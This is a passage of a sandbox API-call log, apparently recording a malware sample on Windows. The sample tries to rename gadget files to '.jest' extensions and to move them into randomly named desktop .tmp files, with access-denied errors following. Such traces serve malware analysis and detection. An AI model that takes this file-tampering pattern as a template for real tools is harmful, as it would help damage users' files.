sidebar\\gadgets\\cpu.gadget\\drag.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\u46v5GhHMP2CQ3jDSK8l03YLgV6kZ7QaXoXGOZAFfsdoNE7zNjSC5rvWh6bR5bPcVpeFegdUsc0e1d3miMMvtw9ULQ9 vFBgTBvw .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u46v5ghhmp2cq3jdsk8l03ylgv6kz7qaxoxgozaffsdone7znjsc5rvwh6br5bpcvpefegdusc0e1d3mimmvtw9ulq9 vfbgtbvw .tmp")) returned 0 [0126.265] GetLastError () returned 0x5 [0126.265] GetLastError () returned 0x5 [0126.265] SetLastError (dwErrCode=0x5) [0126.265] GetLastError () returned 0x5 [0126.265] SetLastError (dwErrCode=0x5) [0126.265] GetLastError () returned 0x5 [0126.265] SetLastError (dwErrCode=0x5) [0126.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.265] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.265] GetFullPathNameA (in: lpFileName="u46v5GhHMP2CQ3jDSK8l03YLgV6kZ7QaXoXGOZAFfsdoNE7zNjSC5rvWh6bR5bPcVpeFegdUsc0e1d3miMMvtw9ULQ9 vFBgTBvw .tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\u46v5GhHMP2CQ3jDSK8l03YLgV6kZ7QaXoXGOZAFfsdoNE7zNjSC5rvWh6bR5bPcVpeFegdUsc0e1d3miMMvtw9ULQ9 vFBgTBvw .tmp", lpFilePart=0x18e6e4*="u46v5GhHMP2CQ3jDSK8l03YLgV6kZ7QaXoXGOZAFfsdoNE7zNjSC5rvWh6bR5bPcVpeFegdUsc0e1d3miMMvtw9ULQ9 vFBgTBvw .tmp") returned 0x8f [0126.265] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\u46v5GhHMP2CQ3jDSK8l03YLgV6kZ7QaXoXGOZAFfsdoNE7zNjSC5rvWh6bR5bPcVpeFegdUsc0e1d3miMMvtw9ULQ9 vFBgTBvw .tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x76363475, cFileName="5GhHMP2CQ3jDSK8l03YLgV6kZ7QaXoXGOZAFfsdoNE7zNjSC5rvWh6bR5bPcVpeFegdUsc0e1d3miMMvtw9ULQ9 vFBgTBvw .tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.265] GetLastError () returned 0x2 [0126.266] GetLastError () returned 0x2 [0126.266] SetLastError (dwErrCode=0x2) [0126.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.266] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.267] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔠ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.267] GetLastError () returned 0x0 [0126.267] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.268] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.268] GetLastError () returned 0x0 [0126.268] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.268] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.268] GetTickCount () returned 0x115203e [0126.268] GetTickCount () returned 0x115203e [0126.269] GetTickCount () returned 0x115203e [0126.269] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.269] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.269] GetTickCount () returned 0x115203e [0126.269] IsWindowVisible (hWnd=0x30268) returned 0 [0126.269] Sleep (dwMilliseconds=0x0) [0126.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.269] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.269] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\icon.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\icon.png.jest")) returned 0 [0126.270] GetLastError () returned 0x5 [0126.270] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴捩湯瀮杮") returned 0x42 [0126.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0126.270] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴捩湯瀮杮") returned 0x42 [0126.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=67, lpWideCharStr=0x144ddec, cchWideChar=133 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png") returned 67 [0126.270] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴捩湯瀮杮樮獥t") returned 0x47 [0126.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0126.270] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴捩湯瀮杮樮獥t") returned 0x47 [0126.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=72, lpWideCharStr=0x14cf24c, cchWideChar=143 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png.jest") returned 72 [0126.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png", lpUsedDefaultChar=0x0) returned 67 [0126.270] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png", lpFilePart=0x18e6d8*="icon.png") returned 0x42 [0126.270] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c4b8bc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb7c4b8bc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb7c4b8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x23e2, dwReserved0=0x78, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 0x143ce48 [0126.270] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.271] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.271] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x8b)) [0126.271] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x8b)) [0126.271] GetUserDefaultLCID () returned 0x409 [0126.271] VarBstrFromR4 (in: fltIn=0x47944512, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.14") returned 0x0 [0126.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="j") returned 1 [0126.271] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.272] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.272] GetTickCount () returned 0x115203e [0126.272] GetTickCount () returned 0x115203e [0126.272] GetTickCount () returned 0x115203e [0126.272] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.272] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.272] GetTickCount () returned 0x115203e [0126.272] IsWindowVisible (hWnd=0x30268) returned 0 [0126.272] Sleep (dwMilliseconds=0x0) [0126.272] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.272] GetFullPathNameA (in: lpFileName="8dnhVuTcgrwzJSMvBURelRzVuiek92VYSocx_EumuZEjs60tltvChOfQTvbf3_pz0HIjn2cjwcsjbRKB2ZxhcEjBHlqGRmiSg0qT.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8dnhVuTcgrwzJSMvBURelRzVuiek92VYSocx_EumuZEjs60tltvChOfQTvbf3_pz0HIjn2cjwcsjbRKB2ZxhcEjBHlqGRmiSg0qT.tmp", lpFilePart=0x18e708*="8dnhVuTcgrwzJSMvBURelRzVuiek92VYSocx_EumuZEjs60tltvChOfQTvbf3_pz0HIjn2cjwcsjbRKB2ZxhcEjBHlqGRmiSg0qT.tmp") returned 0x8e [0126.273] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png", lpFilePart=0x18e708*="icon.png") returned 0x42 [0126.273] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\icon.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8dnhVuTcgrwzJSMvBURelRzVuiek92VYSocx_EumuZEjs60tltvChOfQTvbf3_pz0HIjn2cjwcsjbRKB2ZxhcEjBHlqGRmiSg0qT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8dnhvutcgrwzjsmvburelrzvuiek92vysocx_eumuzejs60tltvchofqtvbf3_pz0hijn2cjwcsjbrkb2zxhcejbhlqgrmisg0qt.tmp")) returned 0 [0126.273] GetLastError () returned 0x5 [0126.273] GetLastError () returned 0x5 [0126.273] SetLastError (dwErrCode=0x5) [0126.273] GetLastError () returned 0x5 [0126.273] SetLastError (dwErrCode=0x5) [0126.273] GetLastError () returned 0x5 [0126.273] SetLastError (dwErrCode=0x5) [0126.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.273] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.274] GetFullPathNameA (in: lpFileName="8dnhVuTcgrwzJSMvBURelRzVuiek92VYSocx_EumuZEjs60tltvChOfQTvbf3_pz0HIjn2cjwcsjbRKB2ZxhcEjBHlqGRmiSg0qT.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8dnhVuTcgrwzJSMvBURelRzVuiek92VYSocx_EumuZEjs60tltvChOfQTvbf3_pz0HIjn2cjwcsjbRKB2ZxhcEjBHlqGRmiSg0qT.tmp", lpFilePart=0x18e6e4*="8dnhVuTcgrwzJSMvBURelRzVuiek92VYSocx_EumuZEjs60tltvChOfQTvbf3_pz0HIjn2cjwcsjbRKB2ZxhcEjBHlqGRmiSg0qT.tmp") returned 0x8e [0126.274] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8dnhVuTcgrwzJSMvBURelRzVuiek92VYSocx_EumuZEjs60tltvChOfQTvbf3_pz0HIjn2cjwcsjbRKB2ZxhcEjBHlqGRmiSg0qT.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x686e6438, cFileName="VuTcgrwzJSMvBURelRzVuiek92VYSocx_EumuZEjs60tltvChOfQTvbf3_pz0HIjn2cjwcsjbRKB2ZxhcEjBHlqGRmiSg0qT.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.274] GetLastError () returned 0x2 [0126.274] GetLastError () returned 0x2 [0126.274] SetLastError (dwErrCode=0x2) [0126.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.274] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.274] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔠ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.274] GetLastError () returned 0x0 [0126.275] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.275] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶇ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.275] GetLastError () returned 0x0 [0126.275] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.275] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.276] GetLastError () returned 0x0 [0126.276] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.276] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ʼn", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.276] GetLastError () returned 0x0 [0126.276] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.276] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.276] GetTickCount () returned 0x115204d [0126.276] GetTickCount () returned 0x115204d [0126.277] GetTickCount () returned 0x115204d [0126.277] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.277] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.277] GetTickCount () returned 0x115204d [0126.277] IsWindowVisible (hWnd=0x30268) returned 0 [0126.277] Sleep (dwMilliseconds=0x0) [0126.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.277] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.277] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml.jest")) returned 0 [0126.278] GetLastError () returned 0x5 [0126.278] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴湥唭屓慧杤瑥砮汭") returned 0x4a [0126.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0126.278] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴湥唭屓慧杤瑥砮汭") returned 0x4a [0126.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=75, lpWideCharStr=0x14c2ea4, cchWideChar=149 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml") returned 75 [0126.278] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴湥唭屓慧杤瑥砮汭樮獥t") returned 0x4f [0126.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0126.278] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴湥唭屓慧杤瑥砮汭樮獥t") returned 0x4f [0126.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=80, lpWideCharStr=0x1445ffc, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml.jest") returned 80 [0126.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml", lpUsedDefaultChar=0x0) returned 75 [0126.278] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e6d8*="gadget.xml") returned 0x4a [0126.278] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x57, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0x143ce48 [0126.278] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.279] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.279] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x9a)) [0126.279] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x9a)) [0126.279] GetUserDefaultLCID () returned 0x409 [0126.279] VarBstrFromR4 (in: fltIn=0x47944514, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.16") returned 0x0 [0126.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0126.279] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.279] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.279] GetTickCount () returned 0x115204d [0126.279] GetTickCount () returned 0x115204d [0126.279] GetTickCount () returned 0x115204d [0126.280] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.280] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.280] GetTickCount () returned 0x115204d [0126.280] IsWindowVisible (hWnd=0x30268) returned 0 [0126.280] Sleep (dwMilliseconds=0x0) [0126.280] 